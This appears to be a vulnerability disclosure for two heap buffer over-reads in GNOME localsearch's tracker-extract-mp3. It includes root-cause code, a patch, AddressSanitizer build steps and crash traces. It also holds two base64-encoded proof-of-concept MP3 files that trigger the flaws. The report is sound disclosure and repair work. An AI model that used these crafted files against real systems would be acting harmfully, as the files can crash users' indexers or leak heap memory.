A flaw was found in the tracker-extract-mp3 component of GNOME localsearch (previously known as tracker-miners). This vulnerability, a heap buffer overflow, occurs when processing specially crafted MP3 files. A remote attacker could exploit this by providing a malicious MP3 file, leading to a Denial of Service (DoS) where the application crashes. It may also potentially expose sensitive information from the system's memory.
Vulnerability Report: Heap Buffer Overflow in GNOME localsearch MP3 Extractor Project: https://gitlab.gnome.org/GNOME/localsearch Component: tracker-extract-mp3 Vulnerability Type: Heap Buffer Overflow (Read)
Description A heap buffer overflow vulnerability exists in the extractperformerstags function of src/extractor/tracker-extract-mp3.c. A specially crafted MP3 file with malformed ID3 tags can cause the extractor to read beyond the allocated buffer when parsing performer tags, potentially leading to information disclosure or a crash (Denial of Service).
Root Cause Analysis The vulnerability occurs in the loop that parses performer tags:
// src/extractor/tracker-extract-mp3.c:1431 (approximate) while (pos + offset < csize) { // ... textinstrument = &data[pos]; // ... offset = textinstrumentlen + id3v2nulsize (textencode); textperformer = &data[pos + offset];
// VULNERABILITY: Incorrect length calculation if (version == 2.4f) { performer = id3v24texttoutf8 (textencode, textperformer, csize - offset, info); } else { performer = id3v2texttoutf8 (textencode, textperformer, csize - offset, info); } // ... pos += textinstrumentlen + textperformerlen + 2id3v2nulsize (textencode); }
The id3v2texttoutf8 function is passed csize - offset as the maximum length. However, textperformer points to data[pos + offset]. The correct remaining size should be csize - pos - offset. As pos increases in subsequent iterations, csize - offset remains larger than the actual remaining buffer after textperformer, allowing id3v2texttoutf8 (and subsequently iconv) to read past the end of the data buffer.
Impact
Denial of Service: The out-of-bounds read can access unmapped memory, causing the tracker-extract process to segfault.
Information Disclosure: It may be possible to read sensitive data from the heap if the read does not cause a crash.
Using the Real Binary (PoC) To definitively reproduce this with the system binary codebase, you must build it with AddressSanitizer and disable sandboxing (which conflicts with ASAN).
You can recreate the reproduction.mp3 file by decoding this base64 string:
base64 -d <<EOF > reproduction.mp3 SUQzAwAAAAAOZ1RJVDMAAAAGAAAAdGl0bGVUUEUxAAAABwAAAGFydGlzdFRQRTIAAAANAAAAYWxi dW0gYXJ0aXN0VEFMQgAAAAYAAABhbGJ1bVRQT1MAAAADAAAAMDFUUkNLAAAABgAAADAxLzAySVBM UwAAAAwAAAAAAAAAY29tbWVudElQTFMAAAAJAAAAY29tcG9zZXJUT1BFAAAAEAAAAG9yadlpbmFs IGFydGlzdFRDT1AAAAAKAAAAY29weXJpZ2h0V1hYWAAAABQAAAAAaHR0cDovL2V4YW1wbGUuY29t VEVOQwAAAAgAAABlbmNvZGVySVBMUwAAAklEMwIAAAAAAQdUVDIAAAoARm9yc2FrZW4AVFJLAAAF ADIvOABUUDEAAA8ARHJlYW0gVGhlYXRlcgBUQUwAABIAU3lzdGVtYXRpYyBDaGFvcwBUUEEAAAUA MS8xAFJWQQAACgMQ/////wAAAABUWUUAAAYAMjAwNwBUUDEAABIAUHJvZ3Jlc3NpdmUgUm9jawD/ +uJkSMsAD/AAAGkHAAAAAAANIOAAAAAAAaQUAAAAAAA0goAAAExBTUUzLjgyVVVVVVVVVVVVVVVV VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV VVVVVVVVVVVVVVVBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGltYWdlL3BuZwADY292ZXIucG5nAIlQTkcN ChoKAAAADUlIRFIAVVVVVVVVVVVVVVVVVVVVVVVMQU1FMy4xMDBVVVVVVVVVVVVVVVVVVVVVVVVV VVVV//sUZB4P8AAAaQAAAAgAAA0gAAABAAABpAAAACAAADSAAAAEVVVVVVVVVVVVVVVVVVVVVVVV VVVVVVVVVVVVVVVMQU1FMy4xMDBVVVVVVVVVVVVVVVVVVVVVVVVVVVVV//sUZDwP8AAAaQAAAAgA AA0gAAABAAABpAAAACAAADSAAAAEVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVMQU1FMy4x MDBVVVVVVVVVVVVVVVVVVVVVVVVVVVVV//sUZFoP8AAAaQAAAAgAAA0gAAABAAABpAAAACAAADSA AAAEVVVVVVVVVVVVVVVVVVVVVVVVVVVVVXVVVVVVVVVMQU1FMy4xMDBVVVVVVVVVVVVVVVVVVVVV VVVVVVVV//sUZHgP8AAAaQAAAAgAAA0gAAABAAABpAAAACAAX1JoEePBcT/e3XvcvQP8jQpTzWAc UDXLSCcTQja3KnS/IohBhDCBMYmZ+pwopuA5vu7h4+sAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAFVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV VVVVVVVVVVVVVVVVVVVVVf9VpgDgOmd6gOZOo5H+YDoAJgogMmfAVwZi4bX+YBADQsAYY6wRxisi c/5iIDCEDnABAAAAAAAAXUh500b//hwLMKgFHQ5hBjga+OVIT//0kAgEKHpJmrVWbQM5ssrmjEh/ //hAHYQrAXQZ+a9KhrIqGbzuaiJJqEu////snSvbAyROh6zIhWNBjI0ARjH5PM6C8zySf////aer uDGmMEg11zFQ+M1h4zQQjEY3MwEAAAAAABEG/////ZfBjqOJBrrsvjzqGWwYZSGxhETmVAOZPHZg gSAJbGSh4AQ////////uJHX7cePPw/kdft35UClSZHHoWDAKTxkIdBUKkycMbjcqA4iTZjYcf/// //////xSMTMXh+mikYqxenrSyMWRwEiSIMXjcKgIOQ5iYXCIBhh4MTjEuUCjuYiGAQBQEdDD4x// ////////////////+Xxu1LKSzL6+VjCvbwqWM8+/hzPP8MPEgkY5AZhoZDwZAxUMHiFEYMH5goLK WiQwMAglpw8B0TH5X41uehcMWZZT37djH/kSmBjAE3mo+rz/skBQGBn8jamVMKR/lu3PMM4TIxag 3P8HBsQAA6twjiSD//QMAQoRDO0wU6MIzNJ4//9PsHBNPRWA5c2DVK0OEIIzqhf//8IBCwasZdNh BoZGmxyuZsOhmM7Gohh///+rAjgzNv/64kTES/+ADHyQQgZ7gAGDEgeQz3AAHLHVHh3HgAuUM+KD u4AATq7bAZ/OppwemlSmY6JhmkiGkC1////7TF0Pi09g8EOoYpIJm4JmZSCYkHRl0RGYBsYbF/// ///66IJdddcefhrkdfsyQJzL4zMTDQy6DDKhAAIdMmAUyOOQYGP//////9l8GOo0yPv2/VVVVVX/ +xRk4Y/wAABpAAAACAAADSAAAAEAAAGkAAAAIAAANIAAAARVVVVVVVVVVVVVVVVVVVVVVVVVVVVV VVVVVVVVVUxBTUUzLjEwMFVVVVVVVVVVVVVVVVVVVVVVVVVVVVX/+xRk4Y/wAABpAAAACAAADSAA AAEAAAGkAAAAIAAANIAAAARVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV VVVVVVVVVVVVVVVVVVVVVVVVVVX/+xRk4Y/wAABpAAAACAAADSAAAAEAAAGkAAAAIAAANIAAAARV VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV VVX/+xRk4Y/wAABpAAAACAAADSAAAAEAAAGkAAAAIAAANIAAAARVVVVVVVVVVVVVVVVVVVVVVVVV VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVX/+xRk4Y/wAABpAAAACAAA DSAAAAEAAAGkAAAAIAAANIAAAARVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVX/+xRk4Y/wAABpAAAACAAADSAAAAEAAAGkAAAAIAAANIAA AARVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV VVVVVVX/+xRk4Y/wAABpAAAACAAADSAAAAEAAAGkAAAAIAAANIAAAARVVVVVVVVVVVVVVVVVVVVV VVRVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVX////1DQAAAAA6DmdU//////////////// //9vbGluAHZpb2xpbmlzdABUWFhYAAAAJQAAA011c2ljQnJhaW56IFJlbGVhc2UgR3JvdXAgGBgX FBYWGh0lHxobIxwWFiAsIComJykqKRkfLTAtKDAlKCko/9sAQwEHBwcKCAoTCgoTKBoWGigoKCgo KCgoKCgoKCgoKCgoKCgoKCgoKCgoH2DSNS1OG1+zRybWvZW+YlsnJb2FZVajp620PUyzLlmFT2Sn aW+2lvv/AEPp2iviz+39Z/6C+pf+A011c2ljQnJhaW56IFJlbGVhc2Xj5OXm5+jp6vHy8/T19vf4 +fr/xAAfAQADAQEBAQEBAQEBAAAAAAAAAQIDBAUGBwoJCgv/xAC1EQACAQIEBAMEBwUEBAABAncA AQIDEQQFITEGEkFRB2FxEyIygQgUSUT///////////////////////////9hUExTAf////////UN AAAAADoOZ1RJVAD//////3r/9/8n//8m/yf//1xcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxc XP////////////9/////////////////Af////////UNAAAAADoOZ1MB////////9Q0AAAAAOg5n VElUAP//////ev/3/yf//yb/J////////////////3////////////////8B////////9Q0AAAAA Og5nVP////////////////////////9hUExTAf////////UNAAAAADoO////9Q0AAAAAOg5nVElU AFRPTFlVVTPb2sj/ALydwiHu5xmlqUrI7LxH418R+MLxptX1m8ulXJ2n5Y48/wB1VwB+VcvNfLFJ tD3Er9yXxz/On3LRx2zCGXCAdR/Gfas+2GIZpuC4GFyeme9Fh3JJtVumY7ZGX8cn86ptJLO3zM8j e/NN4wcnmkVyv3Tg+1O1iG29x4hmPSJ/++aekcwP+rYfVaI7uTtPII5BoA6qivzwHijxDgf8T/V/ /A2X/wCKo/4SjxB/0H9X/wDA2X/4qlcVz9D6K8y/Zxu7m++E+mT31zPcztLODJNIXY4lbGSea9Np jCiiqmrX0Ol6Xd31yQsNtE0rk+gGaG7ajjEma3KsyjAJVv8AA145E20g9xXo0XzQTZ5tZctRmpo4 ZNWs+Osyj25Lq6i0TyfnjhRjgojdJJDnnbkDHJ45+j/CtpcWHoKCgoKCgoKCgoKCgoKCgoKCgoKC goKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKC goKCgoKCgoKCgv///////xrS7S9ObmC2jjk5z8wUA12YdNRsz4nP8TSxOMlOlqtFfvb+rGpXxX4k /wCRj1b/AK9DT01Nub/0M19qV8V+JP8AkY9W/wCvuVVVVVVVVVVVVVVVVf/7FGThj/AAAGkAAAAI AAANIAAAAQAAAaQAAAAgAAA0gAAABFVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVUB AAAAAAACVFVVVVVVVVVVVVVVVVVVVVVVVf/7FGThj/AAAGkAAAAIAAANIAAAAQAAAaQAAAAAAAAA AAAA//tUAAAAAAAAAAAAAAAAAAAA7vHx9fikAAAAIAAANIAAAARVVVVVVVVVVVVVVVVVVVVVVVVV VVVVVVVVVVVVVUxBTUUzLjEwMFVVVVVVVVVVVVVVVVVVVVVVVVVVVVX/+xRkWg/wAABpAAAACAAA DSAAAAEAAAGkAAAAIAAANIAAAARVVVVVVVVVVVVVVVVVVVVVVVVVVVVVdVVVVVVVVUxBTUUzLjEw MFVVVVVVVVVVVVVVVVVVVVVVVVVVVVX/+xRkeA/wAABpAAAACAAADSAAAAEAAAGkAAAAIABfUmgR 48FxP97de9y9A/yNClPNYBxQNctIJxNCNrcqdL8iiEGEMIExiZn6nCim4Dm+7uHj6wAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//tUAAAAAAAAAAAAAAAAAAAA7vHx9fj4 /P8AAAAATGF2YzE2LjU0AAAAAAAAAAAAAAAAJATwAAAAAAD6GwCmPiyu//sUZAAP8A7R8/dOWvt5 TN6t39yYeHIZHQyiZbTocHBAijTgSJdfhJFbiKhlz975rIStEdUYxkl2AAAgAAA0gADwl1oYz/U/ /w1VMSFCRzEQATEwIQOTMCdA1zBUwX0wLcEVMC0DsDLj0BgxagIkMEcCDDAPghwzPgAQMDeAWTAN wAkwNgCVMSCC7DAgABUGgNhgIAC2YBUAFMNMB+AjjAlyEwyTsBlMALAAxIApBwJIVmEgLBUIzFSw TA0dTBoBjF8TTro2z2saTD0xxUiTEAGzH8BDBYBAEEzClBWDGAITGKyFAa4GfwHebMqNTZOoxyDk ZARtUBKbCtzYl6OjKkACDDlv2qnDzAwqAkM4djEw5kmbg8cna421ydcKJvvlhANDD0ES+NNQXbEI /KuT1JyApbDNTUzQzEYppdQEfkkJkiVDNWOzBAkIRYeagFyomekSkwbJu5xoli7+xXv/9Z/09Xz/ pv+dHWf/z/9A9L3Cf//A4GX3///6v6DGZD6KBKDDUFjqAAABhGlDQ1BJQ0MgcHJvZmlsZQAAKJF9 kT1Iw0AcxV8/xCIVBzuoOGSoLloQFXGsVShChVArtOpgcuEXNGlIUlwcBdeCgx+LVQcXZ10dXAVB 8APE2cFJ0UVK/F9SaBHjwXE/3t173L0D/I0KU81gHFA1y0gnEwAAg4BggAHxlOT93olq09q9K79S aQAAAAgAAA0gAAABAEI2typ0vyKIQYQsgTGJmfqcKKbgOb7u4ePrXQAACAAADSAAAAEAAAGkAAAA IAAANAABqOTNqc2AAAAEVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV VVVVVVVVVVVVVVVVVVVVVVVV//sUZOGP8AAAaQAAAAgAAA0gAAABAAABpAAAANRcGqTkqrBAHg8B 4q45TiBJXTkCpAAAACAAADSAAAAEVVVVVVVVVVVVVVVVVVXw8yRRjiAAklVVVVVVVVVVVVVVVVVV VVVVVVVVVVU/HFVVVQA0gFVVVVU+AAAEVVVVVVVVVVVVVVVVVVVVVVVVVVVVVQ== EOF
Build localsearch with AddressSanitizer: Note: -Dseccomp=false is critical because the sandbox blocks ASAN's operation.
sudo apt install -y meson ninja-build libglib2.0-dev libtracker-sparql-3.0-dev libgin-dev python3-typogrify
Configure build (minimal MP3-only build for testing) meson setup build \ -Dbsanitize=address \ -Dseccomp=false \ -Dlandlock=disabled \ -Dextract=true \ -Dminerfs=false \ -Dfunctionaltests=false \ -Dman=false
Compile meson compile -C build
Run tracker-extract manually: You must point the extractor to its rules directory if running uninstalled.
export TRACKEREXTRACTORSDIR=$(pwd)/build/src/extractor export TRACKEREXTRACTORRULESDIR=$(pwd)/build/src/extractor/uninstalled-rules
Run with ASAN options to suppress ODR violations (common in combined builds) ASANOPTIONS=detectodrviolation=0 ./build/src/extractor/localsearch-extractor-3 --file vulnerabilityreports/reproduction.mp3
Expected Output:
==1767498==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x5160000002c8 at pc 0x77de104baf4a bp 0x7ffebb984220 sp 0x7ffebb9839c8 READ of size 582 at 0x5160000002c8 thread T0 #0 0x77de104baf49 in iconv ../../../../src/libsanitizer/sanitizercommon/sanitizercommoninterceptors.inc:5369 #1 0x77de0fef0cc1 in gconvertwithiconv (/lib/x8664-linux-gnu/libglib-2.0.so.0+0x39cc1) (BuildId: 94bfd21331c311d3199726de93a2656d07c22b33) #2 0x77de0fef0f81 in gconvert (/lib/x8664-linux-gnu/libglib-2.0.so.0+0x39f81) (BuildId: 94bfd21331c311d3199726de93a2656d07c22b33) #3 0x77de0ce50d14 in converttoencoding ../src/extractor/tracker-extract-mp3.c:837 #4 0x77de0ce534ed in id3v2texttoutf8 ../src/extractor/tracker-extract-mp3.c:1311 #5 0x77de0ce53ca1 in extractperformerstags ../src/extractor/tracker-extract-mp3.c:1446 #6 0x77de0ce55f71 in getid3v23tags ../src/extractor/tracker-extract-mp3.c:1836 #7 0x77de0ce58aaf in parseid3v23 ../src/extractor/tracker-extract-mp3.c:2484 #8 0x77de0ce5961e in parseid3v2 ../src/extractor/tracker-extract-mp3.c:2616 #9 0x77de0ce59bd0 in trackerextractgetmetadata ../src/extractor/tracker-extract-mp3.c:2697 #10 0x6113d08aed28 in getfilemetadata ../src/extractor/tracker-extract.c:217 #11 0x6113d08b0a30 in trackerextractfilesync ../src/extractor/tracker-extract.c:509 #12 0x6113d08b4f2d in runstandalone ../src/extractor/tracker-main.c:218 #13 0x6113d08b5aa7 in domain ../src/extractor/tracker-main.c:370 #14 0x6113d08b6475 in main ../src/extractor/tracker-main.c:469 #15 0x77de0f82a1c9 in libcstartcallmain ../sysdeps/nptl/libcstartcallmain.h:58 #16 0x77de0f82a28a in libcstartmainimpl ../csu/libc-start.c:360 #17 0x6113d08a6684 in start (/tmp/localsearch/build/src/extractor/localsearch-extractor-3+0x12684) (BuildId: f9112407d77014a3cdb422851c1f4cce6c2b9852)
0x5160000002c8 is located 0 bytes after 584-byte region [0x516000000080,0x5160000002c8) allocated by thread T0 here: #0 0x77de104fd340 in calloc ../../../../src/libsanitizer/asan/asanmalloclinux.cpp:77 #1 0x77de0ff1a721 in gmalloc0 (/lib/x8664-linux-gnu/libglib-2.0.so.0+0x63721) (BuildId: 94bfd21331c311d3199726de93a2656d07c22b33) #2 0x77de0ce507f9 in ununsync ../src/extractor/tracker-extract-mp3.c:767 #3 0x77de0ce58a33 in parseid3v23 ../src/extractor/tracker-extract-mp3.c:2483 #4 0x77de0ce5961e in parseid3v2 ../src/extractor/tracker-extract-mp3.c:2616 #5 0x77de0ce59bd0 in trackerextractgetmetadata ../src/extractor/tracker-extract-mp3.c:2697 #6 0x6113d08aed28 in getfilemetadata ../src/extractor/tracker-extract.c:217 #7 0x6113d08b0a30 in trackerextractfilesync ../src/extractor/tracker-extract.c:509 #8 0x6113d08b4f2d in runstandalone ../src/extractor/tracker-main.c:218 #9 0x6113d08b5aa7 in domain ../src/extractor/tracker-main.c:370 #10 0x6113d08b6475 in main ../src/extractor/tracker-main.c:469 #11 0x77de0f82a1c9 in libcstartcallmain ../sysdeps/nptl/libcstartcallmain.h:58 #12 0x77de0f82a28a in libcstartmainimpl ../csu/libc-start.c:360 #13 0x6113d08a6684 in start (/tmp/localsearch/build/src/extractor/localsearch-extractor-3+0x12684) (BuildId: f9112407d77014a3cdb422851c1f4cce6c2b9852)
SUMMARY: AddressSanitizer: heap-buffer-overflow ../../../../src/libsanitizer/sanitizercommon/sanitizercommoninterceptors.inc:5369 in iconv Shadow bytes around the buggy address: 0x516000000000: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x516000000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x516000000100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x516000000180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x516000000200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x516000000280: 00 00 00 00 00 00 00 00 00[fa]fa fa fa fa fa fa 0x516000000300: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x516000000380: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x516000000400: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x516000000480: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x516000000500: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==1767498==ABORTING
Vulnerability Report: Heap Buffer Overflow in GNOME localsearch MP3 Extractor (ID3v2.3 COMM Tags) Project: https://gitlab.gnome.org/GNOME/localsearch Component: tracker-extract-mp3 Vulnerability Type: Heap Buffer Overflow (Read)
Description A heap buffer overflow vulnerability exists in the getid3v23tags function of src/extractor/tracker-extract-mp3.c when processing COMM (Comment) frames. The code incorrectly calculates the buffer offset without verifying if it exceeds the frame size, leading to an underflow in the length calculation passed to id3v2texttoutf8. This results in gconvert reading out of bounds.
Root Cause Analysis The vulnerability is identical to the one found in extracttxxxtags but located in the ID3V24COMM case within getid3v23tags:
// src/extractor/tracker-extract-mp3.c:1829 textdesclen = id3v2strlen (textencode, textdesc, csize - 4); offset = 4 + textdesclen + id3v2nulsize (textencode);
// VULNERABILITY: No check if offset >= csize
text = &data[pos + offset];
// If offset > csize, csize - offset underflows causing OOB read. word = id3v2texttoutf8 (textencode, text, csize - offset, info);
Impact
Denial of Service: Reading unmapped memory causes a SIGSEGV.
Information Disclosure: Potentially leaks heap data.
Remediation Add a bounds check to ensure the calculated offset does not exceed the frame size.
offset = 4 + textdesclen + id3v2nulsize (textencode); + + if (offset >= csize) { + return; + } + text = &data[pos + offset]; / <full text string according to encoding> /
PoC File (Base64) You can recreate the crash file by decoding this base64 string. MD5 Checksum: e80654459ea1f99ae34e774f144565a20851c746
base64 -d <<EOF > reproductioncomm.mp3 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